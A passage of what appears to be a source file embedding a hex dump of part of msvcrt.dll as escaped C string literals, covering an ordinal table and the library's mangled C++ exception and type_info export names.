\"\\x2C\\x01\\x2D\\x01\\x2E\\x01\\x2F\\x01\\x30\\x01\\x31\\x01\\x32\\x01\\x33\\x01\" // ,\u0001-\u0001.\u0001/\u00010\u00011\u00012\u00013\u0001\n/* 77C2A670 */ \"\\x34\\x01\\x35\\x01\\x36\\x01\\x37\\x01\\x38\\x01\\x39\\x01\\x3A\\x01\\x3B\\x01\" // 4\u00015\u00016\u00017\u00018\u00019\u0001:\u0001;\u0001\n/* 77C2A680 */ \"\\x3C\\x01\\x3D\\x01\\x3E\\x01\\x3F\\x01\\x40\\x01\\x41\\x01\\x42\\x01\\x43\\x01\" // <\u0001=\u0001>\u0001?\u0001@\u0001A\u0001B\u0001C\u0001\n/* 77C2A690 */ \"\\x44\\x01\\x45\\x01\\x46\\x01\\x47\\x01\\x48\\x01\\x49\\x01\\x4A\\x01\\x4B\\x01\" // D\u0001E\u0001F\u0001G\u0001H\u0001I\u0001J\u0001K\u0001\n/* 77C2A6A0 */ \"\\x4C\\x01\\x4D\\x01\\x4E\\x01\\x4F\\x01\\x50\\x01\\x51\\x01\\x52\\x01\\x53\\x01\" // L\u0001M\u0001N\u0001O\u0001P\u0001Q\u0001R\u0001S\u0001\n/* 77C2A6B0 */ \"\\x54\\x01\\x55\\x01\\x56\\x01\\x57\\x01\\x58\\x01\\x59\\x01\\x5A\\x01\\x5B\\x01\" // T\u0001U\u0001V\u0001W\u0001X\u0001Y\u0001Z\u0001[\u0001\n/* 77C2A6C0 */ \"\\x5C\\x01\\x5D\\x01\\x5E\\x01\\x5F\\x01\\x60\\x01\\x61\\x01\\x62\\x01\\x63\\x01\" // \\\u0001]\u0001^\u0001_\u0001`\u0001a\u0001b\u0001c\u0001\n/* 77C2A6D0 */ \"\\x64\\x01\\x65\\x01\\x66\\x01\\x67\\x01\\x68\\x01\\x69\\x01\\x6A\\x01\\x6B\\x01\" // d\u0001e\u0001f\u0001g\u0001h\u0001i\u0001j\u0001k\u0001\n/* 77C2A6E0 */ \"\\x6C\\x01\\x6D\\x01\\x6E\\x01\\x6F\\x01\\x70\\x01\\x71\\x01\\x72\\x01\\x73\\x01\" // l\u0001m\u0001n\u0001o\u0001p\u0001q\u0001r\u0001s\u0001\n/* 77C2A6F0 */ \"\\x74\\x01\\x75\\x01\\x76\\x01\\x77\\x01\\x78\\x01\\x79\\x01\\x7A\\x01\\x7B\\x01\" // t\u0001u\u0001v\u0001w\u0001x\u0001y\u0001z\u0001{\u0001\n/* 77C2A700 */ \"\\x7C\\x01\\x7D\\x01\\x7E\\x01\\x7F\\x01\\x80\\x01\\x81\\x01\\x82\\x01\\x83\\x01\" // |\u0001}\u0001~\u0001\u0001\u0001\u0001\u0001\u0001\n/* 77C2A710 */ \"\\x84\\x01\\x85\\x01\\x86\\x01\\x87\\x01\\x88\\x01\\x89\\x01\\x8A\\x01\\x8B\\x01\" // \u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\n/* 77C2A720 */ \"\\x8C\\x01\\x8D\\x01\\x8E\\x01\\x8F\\x01\\x90\\x01\\x91\\x01\\x92\\x01\\x93\\x01\" // \u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\n/* 77C2A730 */ \"\\x94\\x01\\x95\\x01\\x96\\x01\\x97\\x01\\x98\\x01\\x99\\x01\\x9A\\x01\\x9B\\x01\" // \u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\n/* 77C2A740 */ \"\\x9C\\x01\\x9D\\x01\\x9E\\x01\\x9F\\x01\\xA0\\x01\\xA1\\x01\\xA2\\x01\\xA3\\x01\" // \u0001\u0001\u0001\u0001 \u0001¡\u0001¢\u0001£\u0001\n/* 77C2A750 */ \"\\xA4\\x01\\xA5\\x01\\xA6\\x01\\xA7\\x01\\xA8\\x01\\xA9\\x01\\xAA\\x01\\xAB\\x01\" // ¤\u0001¥\u0001¦\u0001§\u0001¨\u0001©\u0001ª\u0001«\u0001\n/* 77C2A760 */ \"\\xAC\\x01\\xAD\\x01\\xAE\\x01\\xAF\\x01\\xB0\\x01\\xB1\\x01\\xB2\\x01\\xB3\\x01\" // ¬\u0001­\u0001®\u0001¯\u0001°\u0001±\u0001²\u0001³\u0001\n/* 77C2A770 */ \"\\xB4\\x01\\xB5\\x01\\xB6\\x01\\xB7\\x01\\xB8\\x01\\xB9\\x01\\xBA\\x01\\xBB\\x01\" // ´\u0001µ\u0001¶\u0001·\u0001¸\u0001¹\u0001º\u0001»\u0001\n/* 77C2A780 */ \"\\xBC\\x01\\xBD\\x01\\xBE\\x01\\xBF\\x01\\xC0\\x01\\xC1\\x01\\xC2\\x01\\xC3\\x01\" // ¼\u0001½\u0001¾\u0001¿\u0001À\u0001Á\u0001Â\u0001Ã\u0001\n/* 77C2A790 */ \"\\xC4\\x01\\xC5\\x01\\xC6\\x01\\xC7\\x01\\xC8\\x01\\xC9\\x01\\xCA\\x01\\xCB\\x01\" // Ä\u0001Å\u0001Æ\u0001Ç\u0001È\u0001É\u0001Ê\u0001Ë\u0001\n/* 77C2A7A0 */ \"\\xCC\\x01\\xCD\\x01\\xCE\\x01\\xCF\\x01\\xD0\\x01\\xD1\\x01\\xD2\\x01\\xD3\\x01\" // Ì\u0001Í\u0001Î\u0001Ï\u0001Ð\u0001Ñ\u0001Ò\u0001Ó\u0001\n/* 77C2A7B0 */ \"\\xD4\\x01\\xD5\\x01\\xD6\\x01\\xD7\\x01\\xD8\\x01\\xD9\\x01\\xDA\\x01\\xDB\\x01\" // Ô\u0001Õ\u0001Ö\u0001×\u0001Ø\u0001Ù\u0001Ú\u0001Û\u0001\n/* 77C2A7C0 */ \"\\xDC\\x01\\xDD\\x01\\xDE\\x01\\xDF\\x01\\xE0\\x01\\xE1\\x01\\xE2\\x01\\xE3\\x01\" // Ü\u0001Ý\u0001Þ\u0001ß\u0001à\u0001á\u0001â\u0001ã\u0001\n/* 77C2A7D0 */ \"\\xE4\\x01\\xE5\\x01\\xE6\\x01\\xE7\\x01\\xE8\\x01\\xE9\\x01\\xEA\\x01\\xEB\\x01\" // ä\u0001å\u0001æ\u0001ç\u0001è\u0001é\u0001ê\u0001ë\u0001\n/* 77C2A7E0 */ \"\\xEC\\x01\\xED\\x01\\xEE\\x01\\xEF\\x01\\xF0\\x01\\xF1\\x01\\xF2\\x01\\xF3\\x01\" // ì\u0001í\u0001î\u0001ï\u0001ð\u0001ñ\u0001ò\u0001ó\u0001\n/* 77C2A7F0 */ \"\\xF4\\x01\\xF5\\x01\\xF6\\x01\\xF7\\x01\\xF8\\x01\\xF9\\x01\\xFA\\x01\\xFB\\x01\" // ô\u0001õ\u0001ö\u0001÷\u0001ø\u0001ù\u0001ú\u0001û\u0001\n/* 77C2A800 */ \"\\xFC\\x01\\xFD\\x01\\xFE\\x01\\xFF\\x01\\x00\\x02\\x01\\x02\\x02\\x02\\x03\\x02\" // ü\u0001ý\u0001þ\u0001ÿ\u0001.\u0002\u0001\u0002\u0002\u0002\u0003\u0002\n/* 77C2A810 */ \"\\x04\\x02\\x05\\x02\\x06\\x02\\x07\\x02\\x08\\x02\\x09\\x02\\x0A\\x02\\x0B\\x02\" // \u0004\u0002\u0005\u0002\u0006\u0002\u0007\u0002\b\u0002.\u0002.\u0002\u000b\u0002\n/* 77C2A820 */ \"\\x0C\\x02\\x0D\\x02\\x0E\\x02\\x0F\\x02\\x10\\x02\\x11\\x02\\x12\\x02\\x13\\x02\" // .\u0002.\u0002\u000e\u0002\u000f\u0002\u0010\u0002\u0011\u0002\u0012\u0002\u0013\u0002\n/* 77C2A830 */ \"\\x14\\x02\\x15\\x02\\x16\\x02\\x17\\x02\\x18\\x02\\x19\\x02\\x1A\\x02\\x1B\\x02\" // \u0014\u0002\u0015\u0002\u0016\u0002\u0017\u0002\u0018\u0002\u0019\u0002\u001a\u0002\u001b\u0002\n/* 77C2A840 */ \"\\x1C\\x02\\x1D\\x02\\x1E\\x02\\x1F\\x02\\x20\\x02\\x21\\x02\\x22\\x02\\x23\\x02\" // \u001c\u0002\u001d\u0002\u001e\u0002\u001f\u0002 \u0002!\u0002\"\u0002#\u0002\n/* 77C2A850 */ \"\\x24\\x02\\x25\\x02\\x26\\x02\\x27\\x02\\x28\\x02\\x29\\x02\\x2A\\x02\\x2B\\x02\" // $\u0002%\u0002&\u0002'\u0002(\u0002)\u0002*\u0002+\u0002\n/* 77C2A860 */ \"\\x2C\\x02\\x2D\\x02\\x2E\\x02\\x2F\\x02\\x30\\x02\\x31\\x02\\x32\\x02\\x33\\x02\" // ,\u0002-\u0002.\u0002/\u00020\u00021\u00022\u00023\u0002\n/* 77C2A870 */ \"\\x34\\x02\\x35\\x02\\x36\\x02\\x37\\x02\\x38\\x02\\x39\\x02\\x3A\\x02\\x3B\\x02\" // 4\u00025\u00026\u00027\u00028\u00029\u0002:\u0002;\u0002\n/* 77C2A880 */ \"\\x3C\\x02\\x3D\\x02\\x3E\\x02\\x3F\\x02\\x40\\x02\\x41\\x02\\x42\\x02\\x43\\x02\" // <\u0002=\u0002>\u0002?\u0002@\u0002A\u0002B\u0002C\u0002\n/* 77C2A890 */ \"\\x44\\x02\\x45\\x02\\x46\\x02\\x47\\x02\\x48\\x02\\x49\\x02\\x4A\\x02\\x4B\\x02\" // D\u0002E\u0002F\u0002G\u0002H\u0002I\u0002J\u0002K\u0002\n/* 77C2A8A0 */ \"\\x4C\\x02\\x4D\\x02\\x4E\\x02\\x4F\\x02\\x50\\x02\\x51\\x02\\x52\\x02\\x53\\x02\" // L\u0002M\u0002N\u0002O\u0002P\u0002Q\u0002R\u0002S\u0002\n/* 77C2A8B0 */ \"\\x54\\x02\\x55\\x02\\x56\\x02\\x57\\x02\\x58\\x02\\x59\\x02\\x5A\\x02\\x5B\\x02\" // T\u0002U\u0002V\u0002W\u0002X\u0002Y\u0002Z\u0002[\u0002\n/* 77C2A8C0 */ \"\\x5C\\x02\\x5D\\x02\\x5E\\x02\\x5F\\x02\\x60\\x02\\x61\\x02\\x62\\x02\\x63\\x02\" // \\\u0002]\u0002^\u0002_\u0002`\u0002a\u0002b\u0002c\u0002\n/* 77C2A8D0 */ \"\\x64\\x02\\x65\\x02\\x66\\x02\\x67\\x02\\x68\\x02\\x69\\x02\\x6A\\x02\\x6B\\x02\" // d\u0002e\u0002f\u0002g\u0002h\u0002i\u0002j\u0002k\u0002\n/* 77C2A8E0 */ \"\\x6C\\x02\\x6D\\x02\\x6E\\x02\\x6F\\x02\\x70\\x02\\x71\\x02\\x72\\x02\\x73\\x02\" // l\u0002m\u0002n\u0002o\u0002p\u0002q\u0002r\u0002s\u0002\n/* 77C2A8F0 */ \"\\x74\\x02\\x75\\x02\\x76\\x02\\x77\\x02\\x78\\x02\\x79\\x02\\x7A\\x02\\x7B\\x02\" // t\u0002u\u0002v\u0002w\u0002x\u0002y\u0002z\u0002{\u0002\n/* 77C2A900 */ \"\\x7C\\x02\\x7D\\x02\\x7E\\x02\\x7F\\x02\\x80\\x02\\x81\\x02\\x82\\x02\\x83\\x02\" // |\u0002}\u0002~\u0002\u0002\u0002\u0002\u0002\u0002\n/* 77C2A910 */ \"\\x84\\x02\\x85\\x02\\x86\\x02\\x87\\x02\\x88\\x02\\x89\\x02\\x8A\\x02\\x8B\\x02\" // \u0002\u0002\u0002\u0002\u0002\u0002\u0002\u0002\n/* 77C2A920 */ \"\\x8C\\x02\\x8D\\x02\\x8E\\x02\\x8F\\x02\\x90\\x02\\x91\\x02\\x92\\x02\\x93\\x02\" // \u0002\u0002\u0002\u0002\u0002\u0002\u0002\u0002\n/* 77C2A930 */ \"\\x94\\x02\\x95\\x02\\x96\\x02\\x97\\x02\\x98\\x02\\x99\\x02\\x9A\\x02\\x9B\\x02\" // \u0002\u0002\u0002\u0002\u0002\u0002\u0002\u0002\n/* 77C2A940 */ \"\\x9C\\x02\\x9D\\x02\\x9E\\x02\\x9F\\x02\\xA0\\x02\\xA1\\x02\\xA2\\x02\\xA3\\x02\" // \u0002\u0002\u0002\u0002 \u0002¡\u0002¢\u0002£\u0002\n/* 77C2A950 */ \"\\xA4\\x02\\xA5\\x02\\xA6\\x02\\xA7\\x02\\xA8\\x02\\xA9\\x02\\xAA\\x02\\xAB\\x02\" // ¤\u0002¥\u0002¦\u0002§\u0002¨\u0002©\u0002ª\u0002«\u0002\n/* 77C2A960 */ \"\\xAC\\x02\\xAD\\x02\\xAE\\x02\\xAF\\x02\\xB0\\x02\\xB1\\x02\\xB2\\x02\\xB3\\x02\" // ¬\u0002­\u0002®\u0002¯\u0002°\u0002±\u0002²\u0002³\u0002\n/* 77C2A970 */ \"\\xB4\\x02\\xB5\\x02\\xB6\\x02\\xB7\\x02\\xB8\\x02\\xB9\\x02\\xBA\\x02\\xBB\\x02\" // ´\u0002µ\u0002¶\u0002·\u0002¸\u0002¹\u0002º\u0002»\u0002\n/* 77C2A980 */ \"\\xBC\\x02\\xBD\\x02\\xBE\\x02\\xBF\\x02\\xC0\\x02\\xC1\\x02\\xC2\\x02\\xC3\\x02\" // ¼\u0002½\u0002¾\u0002¿\u0002À\u0002Á\u0002Â\u0002Ã\u0002\n/* 77C2A990 */ \"\\xC4\\x02\\xC5\\x02\\xC6\\x02\\xC7\\x02\\xC8\\x02\\xC9\\x02\\xCA\\x02\\xCB\\x02\" // Ä\u0002Å\u0002Æ\u0002Ç\u0002È\u0002É\u0002Ê\u0002Ë\u0002\n/* 77C2A9A0 */ \"\\xCC\\x02\\xCD\\x02\\xCE\\x02\\xCF\\x02\\xD0\\x02\\xD1\\x02\\xD2\\x02\\xD3\\x02\" // Ì\u0002Í\u0002Î\u0002Ï\u0002Ð\u0002Ñ\u0002Ò\u0002Ó\u0002\n/* 77C2A9B0 */ \"\\xD4\\x02\\xD5\\x02\\xD6\\x02\\xD7\\x02\\xD8\\x02\\xD9\\x02\\xDA\\x02\\xDB\\x02\" // Ô\u0002Õ\u0002Ö\u0002×\u0002Ø\u0002Ù\u0002Ú\u0002Û\u0002\n/* 77C2A9C0 */ \"\\xDC\\x02\\xDD\\x02\\xDE\\x02\\xDF\\x02\\xE0\\x02\\xE1\\x02\\xE2\\x02\\xE3\\x02\" // Ü\u0002Ý\u0002Þ\u0002ß\u0002à\u0002á\u0002â\u0002ã\u0002\n/* 77C2A9D0 */ \"\\xE4\\x02\\xE5\\x02\\xE6\\x02\\xE7\\x02\\xE8\\x02\\xE9\\x02\\xEA\\x02\\xEB\\x02\" // ä\u0002å\u0002æ\u0002ç\u0002è\u0002é\u0002ê\u0002ë\u0002\n/* 77C2A9E0 */ \"\\xEC\\x02\\xED\\x02\\xEE\\x02\\xEF\\x02\\xF0\\x02\\xF1\\x02\\xF2\\x02\\xF3\\x02\" // ì\u0002í\u0002î\u0002ï\u0002ð\u0002ñ\u0002ò\u0002ó\u0002\n/* 77C2A9F0 */ \"\\xF4\\x02\\xF5\\x02\\xF6\\x02\\xF7\\x02\\xF8\\x02\\xF9\\x02\\xFA\\x02\\xFB\\x02\" // ô\u0002õ\u0002ö\u0002÷\u0002ø\u0002ù\u0002ú\u0002û\u0002\n/* 77C2AA00 */ \"\\xFC\\x02\\xFD\\x02\\xFE\\x02\\xFF\\x02\\x00\\x03\\x01\\x03\\x02\\x03\\x03\\x03\" // ü\u0002ý\u0002þ\u0002ÿ\u0002.\u0003\u0001\u0003\u0002\u0003\u0003\u0003\n/* 77C2AA10 */ \"\\x04\\x03\\x05\\x03\\x06\\x03\\x07\\x03\\x08\\x03\\x09\\x03\\x0A\\x03\\x0B\\x03\" // \u0004\u0003\u0005\u0003\u0006\u0003\u0007\u0003\b\u0003.\u0003.\u0003\u000b\u0003\n/* 77C2AA20 */ \"\\x0C\\x03\\x0D\\x03\\x0E\\x03\\x0F\\x03\\x10\\x03\\x11\\x03\\x12\\x03\\x13\\x03\" // .\u0003.\u0003\u000e\u0003\u000f\u0003\u0010\u0003\u0011\u0003\u0012\u0003\u0013\u0003\n/* 77C2AA30 */ \"\\x14\\x03\\x15\\x03\\x16\\x03\\x17\\x03\\x18\\x03\\x19\\x03\\x1A\\x03\\x1B\\x03\" // \u0014\u0003\u0015\u0003\u0016\u0003\u0017\u0003\u0018\u0003\u0019\u0003\u001a\u0003\u001b\u0003\n/* 77C2AA40 */ \"\\x1C\\x03\\x1D\\x03\\x1E\\x03\\x1F\\x03\\x20\\x03\\x21\\x03\\x22\\x03\\x23\\x03\" // \u001c\u0003\u001d\u0003\u001e\u0003\u001f\u0003 \u0003!\u0003\"\u0003#\u0003\n/* 77C2AA50 */ \"\\x24\\x03\\x25\\x03\\x26\\x03\\x27\\x03\\x28\\x03\\x29\\x03\\x2A\\x03\\x2B\\x03\" // $\u0003%\u0003&\u0003'\u0003(\u0003)\u0003*\u0003+\u0003\n/* 77C2AA60 */ \"\\x2C\\x03\\x2D\\x03\\x2E\\x03\\x2F\\x03\\x30\\x03\\x31\\x03\\x32\\x03\\x33\\x03\" // ,\u0003-\u0003.\u0003/\u00030\u00031\u00032\u00033\u0003\n/* 77C2AA70 */ \"\\x34\\x03\\x35\\x03\\x36\\x03\\x37\\x03\\x38\\x03\\x39\\x03\\x3A\\x03\\x3B\\x03\" // 4\u00035\u00036\u00037\u00038\u00039\u0003:\u0003;\u0003\n/* 77C2AA80 */ \"\\x3C\\x03\\x3D\\x03\\x6D\\x73\\x76\\x63\\x72\\x74\\x2E\\x64\\x6C\\x6C\\x00\\x3F\" // <\u0003=\u0003msvcrt.dll.?\n/* 77C2AA90 */ \"\\x3F\\x30\\x5F\\x5F\\x6E\\x6F\\x6E\\x5F\\x72\\x74\\x74\\x69\\x5F\\x6F\\x62\\x6A\" // ?0__non_rtti_obj\n/* 77C2AAA0 */ \"\\x65\\x63\\x74\\x40\\x40\\x51\\x41\\x45\\x40\\x41\\x42\\x56\\x30\\x40\\x40\\x5A\" // ect@@QAE@ABV0@@Z\n/* 77C2AAB0 */ \"\\x00\\x3F\\x3F\\x30\\x5F\\x5F\\x6E\\x6F\\x6E\\x5F\\x72\\x74\\x74\\x69\\x5F\\x6F\" // .??0__non_rtti_o\n/* 77C2AAC0 */ \"\\x62\\x6A\\x65\\x63\\x74\\x40\\x40\\x51\\x41\\x45\\x40\\x50\\x42\\x44\\x40\\x5A\" // bject@@QAE@PBD@Z\n/* 77C2AAD0 */ \"\\x00\\x3F\\x3F\\x30\\x62\\x61\\x64\\x5F\\x63\\x61\\x73\\x74\\x40\\x40\\x41\\x41\" // .??0bad_cast@@AA\n/* 77C2AAE0 */ \"\\x45\\x40\\x50\\x42\\x51\\x42\\x44\\x40\\x5A\\x00\\x3F\\x3F\\x30\\x62\\x61\\x64\" // E@PBQBD@Z.??0bad\n/* 77C2AAF0 */ \"\\x5F\\x63\\x61\\x73\\x74\\x40\\x40\\x51\\x41\\x45\\x40\\x41\\x42\\x51\\x42\\x44\" // _cast@@QAE@ABQBD\n/* 77C2AB00 */ \"\\x40\\x5A\\x00\\x3F\\x3F\\x30\\x62\\x61\\x64\\x5F\\x63\\x61\\x73\\x74\\x40\\x40\" // @Z.??0bad_cast@@\n/* 77C2AB10 */ \"\\x51\\x41\\x45\\x40\\x41\\x42\\x56\\x30\\x40\\x40\\x5A\\x00\\x3F\\x3F\\x30\\x62\" // QAE@ABV0@@Z.??0b\n/* 77C2AB20 */ \"\\x61\\x64\\x5F\\x63\\x61\\x73\\x74\\x40\\x40\\x51\\x41\\x45\\x40\\x50\\x42\\x44\" // ad_cast@@QAE@PBD\n/* 77C2AB30 */ \"\\x40\\x5A\\x00\\x3F\\x3F\\x30\\x62\\x61\\x64\\x5F\\x74\\x79\\x70\\x65\\x69\\x64\" // @Z.??0bad_typeid\n/* 77C2AB40 */ \"\\x40\\x40\\x51\\x41\\x45\\x40\\x41\\x42\\x56\\x30\\x40\\x40\\x5A\\x00\\x3F\\x3F\" // @@QAE@ABV0@@Z.??\n/* 77C2AB50 */ \"\\x30\\x62\\x61\\x64\\x5F\\x74\\x79\\x70\\x65\\x69\\x64\\x40\\x40\\x51\\x41\\x45\" // 0bad_typeid@@QAE\n/* 77C2AB60 */ \"\\x40\\x50\\x42\\x44\\x40\\x5A\\x00\\x3F\\x3F\\x30\\x65\\x78\\x63\\x65\\x70\\x74\" // @PBD@Z.??0except\n/* 77C2AB70 */ \"\\x69\\x6F\\x6E\\x40\\x40\\x51\\x41\\x45\\x40\\x41\\x42\\x51\\x42\\x44\\x40\\x5A\" // ion@@QAE@ABQBD@Z\n/* 77C2AB80 */ \"\\x00\\x3F\\x3F\\x30\\x65\\x78\\x63\\x65\\x70\\x74\\x69\\x6F\\x6E\\x40\\x40\\x51\" // .??0exception@@Q\n/* 77C2AB90 */ \"\\x41\\x45\\x40\\x41\\x42\\x56\\x30\\x40\\x40\\x5A\\x00\\x3F\\x3F\\x30\\x65\\x78\" // AE@ABV0@@Z.??0ex\n/* 77C2ABA0 */ \"\\x63\\x65\\x70\\x74\\x69\\x6F\\x6E\\x40\\x40\\x51\\x41\\x45\\x40\\x58\\x5A\\x00\" // ception@@QAE@XZ.\n/* 77C2ABB0 */ \"\\x3F\\x3F\\x31\\x5F\\x5F\\x6E\\x6F\\x6E\\x5F\\x72\\x74\\x74\\x69\\x5F\\x6F\\x62\" // ??1__non_rtti_ob\n/* 77C2ABC0 */ \"\\x6A\\x65\\x63\\x74\\x40\\x40\\x55\\x41\\x45\\x40\\x58\\x5A\\x00\\x3F\\x3F\\x31\" // ject@@UAE@XZ.??1\n/* 77C2ABD0 */ \"\\x62\\x61\\x64\\x5F\\x63\\x61\\x73\\x74\\x40\\x40\\x55\\x41\\x45\\x40\\x58\\x5A\" // bad_cast@@UAE@XZ\n/* 77C2ABE0 */ \"\\x00\\x3F\\x3F\\x31\\x62\\x61\\x64\\x5F\\x74\\x79\\x70\\x65\\x69\\x64\\x40\\x40\" // .??1bad_typeid@@\n/* 77C2ABF0 */ \"\\x55\\x41\\x45\\x40\\x58\\x5A\\x00\\x3F\\x3F\\x31\\x65\\x78\\x63\\x65\\x70\\x74\" // UAE@XZ.??1except\n/* 77C2AC00 */ \"\\x69\\x6F\\x6E\\x40\\x40\\x55\\x41\\x45\\x40\\x58\\x5A\\x00\\x3F\\x3F\\x31\\x74\" // ion@@UAE@XZ.??1t\n/* 77C2AC10 */ \"\\x79\\x70\\x65\\x5F\\x69\\x6E\\x66\\x6F\\x40\\x40\\x55\\x41\\x45\\x40\\x58\\x5A\" // ype_info@@UAE@XZ\n/* 77C2AC20 */ \"\\x00\\x3F\\x3F\\x32\\x40\\x59\\x41\\x50\\x41\\x58\\x49\\x40\\x5A\\x00\\x3F\\x3F\" // .??2@YAPAXI@Z.??\n/* 77C2AC30 */ \"\\x33\\x40\\x59\\x41\\x58\\x50\\x41\\x58\\x40\\x5A\\x00\\x3F\\x3F\\x34\\x5F\\x5F\" // 3@YAXPAX@Z.??4__\n/* 77C2AC40 */ \"\\x6E\\x6F\\x6E\\x5F\\x72\\x74\\x74\\x69\\x5F\\x6F\\x62\\x6A\\x65\\x63\\x74\\x40\" // non_rtti_object@\n/* 77C2AC50 */ \"\\x40\\x51\\x41\\x45\\x41\\x41\\x56\\x30\\x40\\x41\\x42\\x56\\x30\\x40\\x40\\x5A\" // @QAEAAV0@ABV0@@Z\n/* 77C2AC60 */ \"\\x00\\x3F\\x3F\\x34\\x62\\x61\\x64\\x5F\\x63\\x61\\x73\\x74\\x40\\x40\\x51\\x41\" // .??4bad_cast@@QA\n/* 77C2AC70 */ \"\\x45\\x41\\x41\\x56\\x30\\x40\\x41\\x42\\x56\\x30\\x40\\x40\\x5A\\x00\\x3F\\x3F\" // EAAV0@ABV0@@Z.??\n/* 77C2AC80 */ \"\\x34\\x62\\x61\\x64\\x5F\\x74\\x79\\x70\\x65\\x69\\x64\\x40\\x40\\x51\\x41\\x45\" // 4bad_typeid@@QAE\n/* 77C2AC90 */ \"\\x41\\x41\\x56\\x30\\x40\\x41\\x42\\x56\\x30\\x40\\x40\\x5A\\x00\\x3F\\x3F\\x34\" // AAV0@ABV0@@Z.??4\n/* 77C2ACA0 */ \"\\x65\\x78\\x63\\x65\\x70\\x74\\x69\\x6F\\x6E\\x40\\x40\\x51\\x41\\x45\\x41\\x41\" // exception@@QAEAA\n/* 77C2ACB0 */ \"\\x56\\x30\\x40\\x41\\x42\\x56\\x30\\x40\\x40\\x5A\\x00\\x3F\\x3F\\x38\\x74\\x79\" // V0@ABV0@@Z.??8ty\n/* 77C2ACC0 */ \"\\x70\\x65\\x5F\\x69\\x6E\\x66\\x6F\\x40\\x40\\x51\\x42\\x45\\x48\\x41\\x42\\x56\" // pe_info@@QBEHABV\n/* 77C2ACD0 */ \"\\x30\\x40\\x40\\x5A\\x00\\x3F\\x3F\\x39\\x74\\x79\\x70\\x65\\x5F\\x69\\x6E\\x66\" // 0@@Z.??9type_inf\n/* 77C2ACE0 */ \"\\x6F\\x40\\x40\\x51\\x42\\x45\\x48\\x41\\x42\\x56\\x30\\x40\\x40\\x5A\\x00\\x3F\" // o@@QBEHABV0@@Z.?\n/* 77C2ACF0 */ \"\\x3F\\x5F\\x37\\x5F\\x5F\\x6E\\x6F\\x6E\\x5F\\x72\\x74\\x74\\x69\\x5F\\x6F\\x62\" // ?_7__non_rtti_ob\n/* 77C2AD00 */ \"\\x6A\\x65\\x63\\x74\\x40\\x40\\x36\\x42\\x40\\x00\\x3F\\x3F\\x5F\\x37\\x62\\x61\" // ject@@6B@.??_7ba\n/* 77C2AD10 */ \"\\x64\\x5F\\x63\\x61\\x73\\x74\\x40\\x40\\x36\\x42\\x40\\x00\\x3F\\x3F\\x5F\\x37\" // d_cast@@6B@.??_7\n/* 77C2AD20 */ \"\\x62\\x61\\x64\\x5F\\x74\\x79\\x70\\x65\\x69\\x64\\x40\\x40\\x36\\x42\\x40\\x00\" // bad_typeid@@6B@.\n/* 77C2AD30 */ \"\\x3F\\x3F\\x5F\\x37\\x65\\x78\\x63\\x65\\x70\\x74\\x69\\x6F\\x6E\\x40\\x40\\x36\" // ??_7exception@@6\n/* 77C2AD40 */ \"\\x42\\x40\\x00\\x3F\\x3F\\x5F\\x45\\x5F\\x5F\\x6E\\x6F\\x6E\\x5F\\x72\\x74\\x74\" // B@.??_E__non_rtt\n/* 77C2AD50 */ \"\\x69\\x5F\\x6F\\x62\\x6A\\x65\\x63\\x74\\x40\\x40\\x55\\x41\\x45\\x50\\x41\\x58\" // i_object@@UAEPAX\n/* 77C2AD60 */ \"\\x49\\x40\\x5A\\x00\\x3F\\x3F\\x5F\\x45\\x62\\x61\\x64\\x5F\\x63\\x61\\x73\\x74\" // I@Z.??_Ebad_cast\n/* 77C2AD70 */ \"\\x40\\x40\\x55\\x41\\x45\\x50\\x41\\x58\\x49\\x40\\x5A\\x00\\x3F\\x3F\\x5F\\x45\" // @@UAEPAXI@Z.??_E\n/* 77C2AD80 */ \"\\x62\\x61\\x64\\x5F\\x74\\x79\\x70\\x65\\x69\\x64\\x40\\x40\\x55\\x41\\x45\\x50\" // bad_typeid@@UAEP\n/* 77C2AD90 */ \"\\x41\\x58\\x49\\x40\\x5A\\x00\\x3F\\x3F\\x5F\\x45\\x65\\x78\\x63\\x65\\x70\\x74\" // AXI@Z.??_Eexcept\n/* 77C2ADA0 */ \"\\x69\\x6F\\x6E\\x40\\x40\\x55\\x41\\x45\\x50\\x41\\x58\\x49\\x40\\x5A\\x00\\x3F\" // ion@@UAEPAXI@Z.?\n/* 77C2ADB0 */ \"\\x3F\\x5F\\x46\\x62\\x61\\x64\\x5F\\x63\\x61\\x73\\x74\\x40\\x40\\x51\\x41\\x45\" // ?_Fbad_cast@@QAE\n/* 77C2ADC0 */ \"\\x58\\x58\\x5A\\x00\\x3F\\x3F\\x5F\\x46\\x62\\x61\\x64\\x5F\\x74\\x79\\x70\\x65\" // XXZ.??_Fbad_type\n/* 77C2ADD0 */ \"\\x69\\x64\\x40\\x40\\x51\\x41\\x45\\x58\\x58\\x5A\\x00\\x3F\\x3F\\x5F\\x47\\x5F\" // id@@QAEXXZ.??_G_\n/* 77C2ADE0 */ \"\\x5F\\x6E\\x6F\\x6E\\x5F\\x72\\x74\\x74\\x69\\x5F\\x6F\\x62\\x6A\\x65\\x63\\x74\" // _non_rtti_object\n/* 77C2ADF0 */ \"\\x40\\x40\\x55\\x41\\x45\\x50\\x41\\x58\\x49\\x40\\x5A\\x00\\x3F\\x3F\\x5F\\x47\" // @@UAEPAXI@Z.??_G\n/* 77C2AE00 */ \"\\x62\\x61\\x64\\x5F\\x63\\x61\\x73\\x74\\x40\\x40\\x55\\x41\\x45\\x50\\x41\\x58\" // bad_cast@@UAEPAX\n/* 77C2AE10 */ \"\\x49\\x40\\x5A\\x00\\x3F\\x3F\\x5F\\x47\\x62\\x61\\x64\\x5F\\x74\\x79\\x70\\x65\" // I@Z.??_Gbad_type\n/* 77C2AE20 */ \"\\x69\\x64\\x40\\x40\\x55\\x41\\x45\\x50\\x41\\x58\\x49\\x40\\x5A\\x00\\x3F\\x3F\" // id@@UAEPAXI@Z.??\n/* 77C2AE30 */ \"\\x5F\\x47\\x65\\x78\\x63\\x65\\x70\\x74\\x69\\x6F\\x6E\\x40\\x40\\x55\\x41\\x45\" // _Gexception@@UAE\n/* 77C2AE40 */ \"\\x50\\x41\\x58\\x49\\x40\\x5A\\x00\\x3F\\x3F\\x5F\\x55\\x40\\x59\\x41\\x50\\x41\" // PAXI@Z.??_U@YAPA\n/* 77C2AE50 */ \"\\x58\\x49\\x40\\x5A\\x00\\x3F\\x3F\\x5F\\x56\\x40\\x59\\x41\\x58\\x50\\x41\\x58\" // XI@Z.??_V@YAXPAX\n/* 77C2AE60 */ 